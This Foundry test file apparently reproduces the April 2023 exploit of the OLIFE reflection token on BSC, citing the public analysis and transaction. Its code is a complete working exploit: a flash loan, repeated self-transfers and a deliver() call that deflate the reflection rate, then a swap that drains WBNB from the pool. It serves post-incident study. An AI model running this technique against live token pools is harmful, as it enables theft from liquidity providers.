src/test/2023-04/OLIFE_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// @Analysis
8// https://twitter.com/BeosinAlert/status/1648520494516420608
9// @TX
10// https://bscscan.com/tx/0xa21692ffb561767a74a4cbd1b78ad48151d710efab723b1efa5f1e0147caab0a
11// @Summary
12// The attacker called the `transfer()` and `deliver()` functions to reduce the number of rSupply and tSupply.
13// The value of rate is thus calculated less, increasing the number of reflected tokens in the pair,
14// Finally directly call swap to withdraw $WBNB from the pair.
15 
16interface IOceanLife {
17    function approve(address spender, uint256 amount) external returns (bool);
18    function balanceOf(
19        address account
20    ) external view returns (uint256);
21    function deliver(
22        uint256 tAmount
23    ) external;
24    function transfer(address recipient, uint256 amount) external returns (bool);
25}
26 
27contract ContractTest is Test {
28    uint256 internal constant FLASHLOAN_WBNB_AMOUNT = 969 * 1e18;
29 
30    IERC20 constant WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
31    IOceanLife constant OLIFE = IOceanLife(0xb5a0Ce3Acd6eC557d39aFDcbC93B07a1e1a9e3fa);
32    IPancakeRouter constant pancakeRouter = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));
33    IPancakePair constant OLIFE_WBNB_LPPool = IPancakePair(0x915C2DFc34e773DC3415Fe7045bB1540F8BDAE84);
34 
35    address constant dodo = 0xFeAFe253802b77456B4627F8c2306a9CeBb5d681;
36 
37    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
38 
39    function setUp() external {
40        cheats.createSelectFork("bsc", 27_470_678);
41    }
42 
43    function testExploit() external {
44        DVM(dodo).flashLoan(FLASHLOAN_WBNB_AMOUNT, 0, address(this), new bytes(1));
45 
46        emit log_named_decimal_uint("[End] Attacker WBNB balance after exploit", WBNB.balanceOf(address(this)), 18);
47    }
48 
49    function loopTransfer(
50        uint256 num
51    ) internal {
52        uint256 i;
53        while (i < num) {
54            uint256 amount = OLIFE.balanceOf(address(this));
55            OLIFE.transfer(address(this), amount);
56            i++;
57        }
58    }
59 
60    function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
61        WBNB.approve(address(pancakeRouter), type(uint256).max);
62 
63        address[] memory swapPath = new address[](2);
64        swapPath[0] = address(WBNB);
65        swapPath[1] = address(OLIFE);
66        pancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
67            FLASHLOAN_WBNB_AMOUNT, 0, swapPath, address(this), block.timestamp
68        );
69        /*  
70            Reflection calculations
71            Rate = rSupply / tSupply (Excluded users are not counted in the supply)
72            balanceOf(pair) = rOwned[pair] / currentRate  
73        */
74        emit log_named_decimal_uint(
75            "[INFO] OLIFE amount in pair before the currentRate reduction",
76            OLIFE.balanceOf(address(OLIFE_WBNB_LPPool)),
77            9
78        );
79        loopTransfer(19);
80 
81        OLIFE.deliver(66_859_267_695_870_000);
82 
83        emit log_named_decimal_uint(
84            "[INFO] OLIFE amount in pair after the currentRate reduction",
85            OLIFE.balanceOf(address(OLIFE_WBNB_LPPool)),
86            9
87        );
88 
89        (uint256 oldOlifeReserve, uint256 bnbReserve,) = OLIFE_WBNB_LPPool.getReserves();
90        uint256 newolifeReserve = OLIFE.balanceOf(address(OLIFE_WBNB_LPPool));
91        uint256 amountin = newolifeReserve - oldOlifeReserve;
92        uint256 swapAmount = amountin * 9975 * bnbReserve / (oldOlifeReserve * 10_000 + amountin * 9975);
93 
94        //swap OLIFE to WBNB
95        OLIFE_WBNB_LPPool.swap(0, swapAmount, address(this), "");
96 
97        // repay
98        WBNB.transfer(address(dodo), FLASHLOAN_WBNB_AMOUNT);
99    }
100}